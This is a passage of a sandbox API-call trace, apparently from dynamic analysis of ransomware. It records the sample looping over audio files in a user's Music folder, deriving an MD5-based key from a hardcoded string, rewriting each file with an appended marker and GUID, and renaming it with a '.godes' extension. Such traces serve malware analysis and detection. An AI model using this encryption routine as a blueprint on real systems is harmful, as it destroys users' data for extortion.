dwFlags=0x0) returned 1 [0113.509] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.509] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.509] GetLastError () returned 0x0 [0113.509] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.509] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x9670) returned 0x3321120 [0113.509] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.509] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x966a, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x966a, lpOverlapped=0x0) returned 1 [0113.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.510] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x966f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.510] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.510] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.510] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.510] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.510] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.510] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.510] CloseHandle (hObject=0x624) returned 1 [0113.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.511] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\WeVqD nbZp92oNA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wevqd nbzp92ona.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\WeVqD nbZp92oNA.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wevqd nbzp92ona.m4a.godes")) returned 1 [0113.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.512] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.513] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac231e20, ftCreationTime.dwHighDateTime=0x1d4cb28, ftLastAccessTime.dwLowDateTime=0xc7950500, ftLastAccessTime.dwHighDateTime=0x1d4d1cd, ftLastWriteTime.dwLowDateTime=0xc7950500, ftLastWriteTime.dwHighDateTime=0x1d4d1cd, nFileSizeHigh=0x0, nFileSizeLow=0x8245, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wvHO9AOpGnVIgBmE4Z.m4a", cAlternateFileName="WVHO9A~1.M4A")) returned 1 [0113.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0113.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.513] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wvHO9AOpGnVIgBmE4Z.m4a") returned=".m4a" [0113.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wvHO9AOpGnVIgBmE4Z.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wvho9aopgnvigbme4z.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.516] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=33349) returned 1 [0113.516] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.518] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x821f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.518] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.519] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.519] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x8245, lpOverlapped=0x0) returned 1 [0113.520] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.520] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.520] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.520] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.521] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.521] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.521] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.521] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.521] GetLastError () returned 0x0 [0113.521] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.521] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8250) returned 0x3321120 [0113.521] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.521] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x8240, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x8240, lpOverlapped=0x0) returned 1 [0113.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.521] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8245, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.522] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.522] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.522] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.522] CloseHandle (hObject=0x624) returned 1 [0113.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.523] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wvHO9AOpGnVIgBmE4Z.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wvho9aopgnvigbme4z.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wvHO9AOpGnVIgBmE4Z.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wvho9aopgnvigbme4z.m4a.godes")) returned 1 [0113.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.523] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0113.524] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b8ba4a0, ftCreationTime.dwHighDateTime=0x1d4d112, ftLastAccessTime.dwLowDateTime=0x392fd3d0, ftLastAccessTime.dwHighDateTime=0x1d4c6ab, ftLastWriteTime.dwLowDateTime=0x392fd3d0, ftLastWriteTime.dwHighDateTime=0x1d4c6ab, nFileSizeHigh=0x0, nFileSizeLow=0x841a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xAv5C.mp3", cAlternateFileName="")) returned 1 [0113.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.524] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xAv5C.mp3") returned=".mp3" [0113.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xAv5C.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xav5c.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.525] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=33818) returned 1 [0113.525] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.527] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x83f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.527] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.528] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.528] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x841a, lpOverlapped=0x0) returned 1 [0113.529] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.529] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.529] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.530] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.530] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.530] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.530] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.530] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.530] GetLastError () returned 0x0 [0113.530] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.530] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8420) returned 0x3321120 [0113.531] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.531] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x8415, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x8415, lpOverlapped=0x0) returned 1 [0113.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.531] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x841a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.531] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.531] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.531] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.532] CloseHandle (hObject=0x624) returned 1 [0113.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x870) returned 0x3321120 [0113.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.532] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xAv5C.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xav5c.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xAv5C.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xav5c.mp3.godes")) returned 1 [0113.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.533] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.534] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.534] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bec9c0, ftCreationTime.dwHighDateTime=0x1d4c62a, ftLastAccessTime.dwLowDateTime=0xd381b650, ftLastAccessTime.dwHighDateTime=0x1d4cb07, ftLastWriteTime.dwLowDateTime=0xd381b650, ftLastWriteTime.dwHighDateTime=0x1d4cb07, nFileSizeHigh=0x0, nFileSizeLow=0xd4dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y5PNwRSJ-BzEU_pWoMG7.wav", cAlternateFileName="Y5PNWR~1.WAV")) returned 1 [0113.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0113.534] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.534] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y5PNwRSJ-BzEU_pWoMG7.wav") returned=".wav" [0113.534] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y5PNwRSJ-BzEU_pWoMG7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y5pnwrsj-bzeu_pwomg7.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.535] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=54493) returned 1 [0113.535] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.537] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd4b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.537] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.538] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.538] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xd4dd, lpOverlapped=0x0) returned 1 [0113.539] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.539] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.539] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.539] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.540] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.540] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.540] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.540] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.540] GetLastError () returned 0x0 [0113.540] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.540] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd4e0) returned 0x3321120 [0113.540] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.540] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xd4d8, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xd4d8, lpOverlapped=0x0) returned 1 [0113.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.541] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd4dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.541] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, 